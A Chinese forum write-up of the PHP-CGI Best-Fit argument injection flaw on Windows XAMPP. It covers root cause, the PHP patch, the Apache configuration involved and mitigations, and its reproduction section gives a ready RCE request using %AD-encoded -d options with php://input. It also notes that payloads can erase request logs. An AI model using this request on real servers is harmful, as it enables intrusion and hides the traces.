马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
x
五一假期,偶尔间刷到了这个漏洞,我用shodan和钟馗之眼做了资产扫描,发现大量有利用XMAPP的用户,并且攻击成本并不高,危害却很大。
中国工程院院士邬贺铨曾说过:“网络安全永远在路上,那么总是要不断在完善,可以说见招拆招”。漏洞评分达到了惊人的9.8,这篇文章必须写。
漏洞影响力
- 用户众多: 经资产扫描,很多用户都用的XMAPP,有漏洞的版本至今可以轻而易举的下载到,相信有不少开发者利用包罗次漏洞的版本。
- 导致服务器陷落: 可以通过长途代码执行,执行任意PHP指令,PHP可以对文件、数据库举行增编削查操作,那就相称于服务器陷落,这里就不必演示了。
- 可能导致被攻击后无法溯源: 由于Windows不像Linux系统那样对文件权限,和应用所属用户有要求,因此攻击后可以paylod直接传入删除请求日志用于销毁攻击过程,亲测即使Apache处于运行状态也好使。如果服务器实例本身或上游节点没做请求纪录,溯源都不可能。
漏洞成因
Windows的Best-Fit字符编码转换特性导致PHP本来的安全限制被绕过,导致攻击者可以通过特定的字符序列绕过此前CVE-2012-1823的防护,从而导致长途代码执行。
受影响版本
- 系统:Windows 包罗繁体中文(950)、简体中文(936)、日文(932),理论上不排除其它语言的windows也有漏洞。
- 软件:XAMPP
- PHP受影响版本:
- PHP8.3 < 8.3.8
- PHP8.2 < 8.2.20
- PHP8.1 < 8.1.29
- 其它低版本的PHP已不在维护,可能会受到影响。
复现
- POST的请求方式。
- URL: 电脑IP/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
- Header:Content-Type 设置为 application/x-www-form-urlencoded
- Body:直接传入<?php phpinfo(); ?>即可,不需要form表单提交所谓的name=value
- 然后发送请求,部分乱码返回不用管,直接RCE了。
复制代码 漏洞原理分析
绕过原理分析
- #[System.Text.Encoding]::UTF8.GetBytes('-') 会将字符 - 转换为它的 UTF-8 字节序列。
- #ForEach-Object { '{0:X2}' -f $_ } 将字节序列的每个字节转换为十六进制格式。
- [System.Text.Encoding]::UTF8.GetBytes('-') | ForEach-Object { '{0:X2}' -f $_ }
复制代码- 原本的
- if(*p == '-') {
- skip_getopt = 1;
- }
- 增加了如下方代码,翻译过来是,我们必须考虑“best fit”映射行为,通过
- /* On Windows we have to take into account the "best fit" mapping behaviour. */
- #ifdef PHP_WIN32
- if (*p >= 0x80) { //检查字符是否为高字节(大于等于 0x80)
- wchar_t wide_buf[1]; //创建一个宽字符数组,用来存放当前字符
- wide_buf[0] = *p; //将字符 *p 存放到 wide_buf[0] 中
- char char_buf[4]; //创建一个多字节字符数组,用来存放转换后的字符
- size_t wide_buf_len = sizeof(wide_buf) / sizeof(wide_buf[0]); //计算宽字符数组的长度(这里只包含一个字符)
- size_t char_buf_len = sizeof(char_buf) / sizeof(char_buf[0]); //计算多字节字符数组的长度(最多 4 个字节)
- // 将宽字符转换为多字节字符,使用 Windows 的 WideCharToMultiByte 函数
- if (WideCharToMultiByte(CP_ACP, 0, wide_buf, wide_buf_len, char_buf, char_buf_len, NULL, NULL) == 0
- || char_buf[0] == '-') { // 如果转换失败或转换后的第一个字符是 '-'
- skip_getopt = 1; // 设置跳过 getopt 选项的标志
- }
- }
- #endif
复制代码 RCE攻击链路分析
- 情况设置漏洞1:打开C:/xampp/apache/conf/httpd.conf,第104行,LoadModule cgi_module modules/mod_cgi.so,指的是Apache利用CGI模式与后端程序运行,也只有PHP的CGI模式运行,有这个漏洞。
- 情况设置漏洞2:然后再打开C:/xampp/apache/conf/extra/httpd-xampp.conf第48行,这就决定攻击url可以访问到php-cgi.exe核心二进制文件的原因。
- ScriptAlias /php-cgi/ "C:/xampp/php/" #任何以 /php-cgi/开头的 URL 请求都会被 Apache 转发到 C:/xampp/php/目录下的文件。
- <Directory "C:/xampp/php"> #指定了对 C:/xampp/php/目录的访问控制设置。它包裹了一些Directory内部的指令,用来限制或允许该目录下文件的访问。
- AllowOverride None #指定不允许在该目录内使用 .htaccess 文件覆盖全局配置
- Options None #禁用了 C:/xampp/php/目录下所有的选项(如目录列表、符号链接等),用于减少安全风险。
- Require all denied #默认情况下,C:/xampp/php/目录下的所有文件和资源都拒绝访问
- <Files "php-cgi.exe"> #声明文件php-cgi.exe,准备做另外的权限控制
- Require all granted #做的是允许php-cgi.exe文件的访问
- </Files>
- </Directory>
复制代码
- 再转头看php-cgi.exe,他是PHP的CGI方式运行的可执行文件,用于在Windows情况中运行PHP 脚本,并且有个前提直到它支持接受GET、POST参数的。拖到命令行,并添加-h,表现如下,其中最值得注意的-d参数,用于定义ini设置参数(并不是将设置写入文件,而是运行期间定义ini设置),这为鄙俚的RCE做好了预备。
- php-cgi.exe -h
- Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
- php <file> [args...]
- -a Run interactively
- -b <address:port>|<port> Bind Path for external FASTCGI Server mode
- -C Do not chdir to the script's directory
- -c <path>|<file> Look for php.ini file in this directory
- -n No php.ini file will be used
- -d foo[=bar] Define INI entry foo with value 'bar'
- -e Generate extended information for debugger/profiler
- -f <file> Parse <file>. Implies `-q'
- -h This help
- -i PHP information
- -l Syntax check only (lint)
- -m Show compiled in modules
- -q Quiet-mode. Suppress HTTP Header output.
- -s Display colour syntax highlighted source.
- -v Version number
- -w Display source with stripped comments and whitespace.
- -z <file> Load Zend extension <file>.
- -T <count> Measure execution time of script repeated <count> times.
复制代码
- 根据上游的说明,解析参数%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input,就变成了-d+cgi.force_redirect=0+-d+allow_url_include=1+-d+auto_prepend_file=php://input
修复方案
- 升级到没有漏洞的PHP版本。
- 对于PHP版本过低升级主版本担心有问题,或不愿升级的用户,打开xampp/apache/conf/extra/httpd-xampp.conf 在约48行左右的内添加
- RewriteEngine On #启用重写
- RewriteCond %{QUERY_STRING} ^%ad [NC] #检查URL参数后面%ad开头的路径,NC表示不区分大小写
- RewriteRule .? - [F,L] #若任意路径符合上述特征(.?),不对url做修改(-),但是要拒绝访问(F),这是最后一条规则,如果该规则匹配成功,就不会继续处理其他的重写规则(L)
- 这个将导致攻击返回403
复制代码 或表明掉:- ScriptAlias /php-cgi/ "C:/xampp/php/"
- 这个将导致攻击返回404
复制代码 什么是Windows的Best-Fit字符编码转换
- 概念:一种用于将字符从一种编码格式转换到另一种编码格式的机制。用于处理不同字符集之间的兼容性问题,尤其是在操作系统中不同地域、语言或系统应用间举行字符数据交换时,确保字符能够在不同编码之间尽可能无误地转换。
- 特性:
- 字符映射最靠近的匹配:在源编码和目标编码之间,没有完全匹配的字符时,Best-Fit会选择一个最靠近的字符来替代。
- 容忍丢失或不兼容的字符:这种转换方法容忍一些字符的丢失,因为它会尝试保留最为靠近的字符。即便目标编码中没有对应的字符,也不会让转换失败。
- 通常用于兼容老系统:Best-Fit字符转换常见于Windows的“兼容性模式”,比如在一些不支持Unicode的旧应用程序中,Windows可能利用Best-Fit举行字符集转换,以便旧程序可以在当代系统上运行,而不至于崩溃或产生乱码。
- 应用场景:
- 从ANSI编码到Unicode编码的转换:Windows系统内有大量的基于ANSI编码的程序,这些程序可能并不完全支持Unicode,因此在举行字符集转换时会利用Best-Fit来避免丢失告急信息。
- 在不同语言的系统间转换字符集:Windows支持多种语言,每种语言有自己的字符编码标准。Best-Fit转换在这些不同语言的情况中,可以尽可能淘汰字符表现错误或乱码问题。
- 优点:
- 可以在没有完全映射的情况下完成字符转换,淘汰乱码或错误。
- 容错本领强,能够包管一些非标准字符的正常表现。
- 缺点:
- 转换的效果可能不完全精确,尤其是当字符集之间的差别较大时,可能会产生误解或错误的字符表现。
- 在某些情况下,可能会导致字符信息的丢失,因为无法完全还原原始数据。
PHP CGI、Mod、PHP-FPM 3种与Web服务器通信的区别
- PHP CGI(Common Gateway Interface)
- CGI 是最早的一种Web脚本执行方式,PHP CGI是PHP在CGI模式下的运行方式。每当Web服务器接收到一个PHP请求时,Web服务器会启动一个PHP历程来处理该请求,处理完后再退出。
- 优点:
- 适配较好,支持与主流服务器的通信方式。
- 每个请求都在单独的历程中运行,相互独立,具有较高的隔离性。
- 缺点:
- 每次请求都要启动一个新的PHP历程,因此性能较差。对于高流量网站不适合。
- PHP Mod(Apache mod_php)
- 这是将PHP集成到Apache Web服务器中的一种方式。PHP作为Apache的一个模块运行,每当Apache处理一个HTTP请求时,PHP 直接在Apache历程中执行。这意味着请求和PHP代码在同一个历程中运行。
- 优点:
- 性能较好:因为Apache和PHP在同一历程中运行。
- 设置简单:不需要额外的历程管理工具,其次是很多集成情况天生就配好了Apache与PHP的组合。
- 缺点:
- 每个Apache历程都会加载PHP,可能会导致资源浪费,尤其是在大量静态资源请求时,没那么轻量级。
- PHP-FPM(FastCGI Process Manager)
- 原理:PHP-FPM是FastCGI的历程管理器,PHP-FPM在独立的历程池中运行,Nginx服务器通过FastCGI协议将请求交给PHP-FPM历程池处理。PHP-FPM历程池通常是持续运行的,可以在处理多个请求时共享资源,避免了CGI每次启动新历程的开销。
- 优点:
- 性能优于CGI,因为PHP-FPM历程池保持活跃,能够快速相应多个请求。
- 更灵活,可以设置不同的PHP-FPM池来处理不同的请求,比如不同的PHP设置、不同的用户。
- 比 Mod-PHP 更轻量,因为 PHP 历程与 Web 服务器历程是分开的。
- 支持历程池的管理,可以控制最大历程数、内存利用等。
- 缺点:
- 设置略为复杂,需要额外安装和设置PHP-FPM。
- 需要对Nginx举行额外的设置,以支持FastCGI。
CGI、FastCGI、PHP-FPM本身的区别
- CGI:是通用网关接口:一种标准,用来让Web服务器与外部程序(通常是动态语言脚本如PHP、Perl、Python等)举行交互。CGI 程序接收HTTP请求、会启动一个新的历程来执行CGI程序。程序执行完成后,将效果返回给Web服务器。
- 通俗讲:电脑(Web服务器)主机本身完不成拍摄(后端数据复杂计算服务)功能,就需要连接一个摄像头(后端脚本语言),为了两者能够正常通信,就需要指定一套USB协议(CGI)。
- FastCGI是办理CGI的性能问题而生的快速通用网关协议。它不再为每个请求启动一个新的历程,而是复用历程池中的多个历程来处理多个请求。FastCGI启动时会启动一个或多个常驻的历程池,这些历程会监听Web服务器发来的请求。Web服务器与FastCGI程序之间通过协议(通常是Unix socket(套接字)或TCP/IP举行通信。
- PHP-FPM是PHP的一个FastCGI历程管理器。添加历程管理器的概念可以进一步优化通信。例如自动动态调整历程数量、或根据开发者定制化设置固定历程数量、控制历程重启、慢请求超时时间、历程所属用户、用户组等。
漏洞相干链接(鸣谢)
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |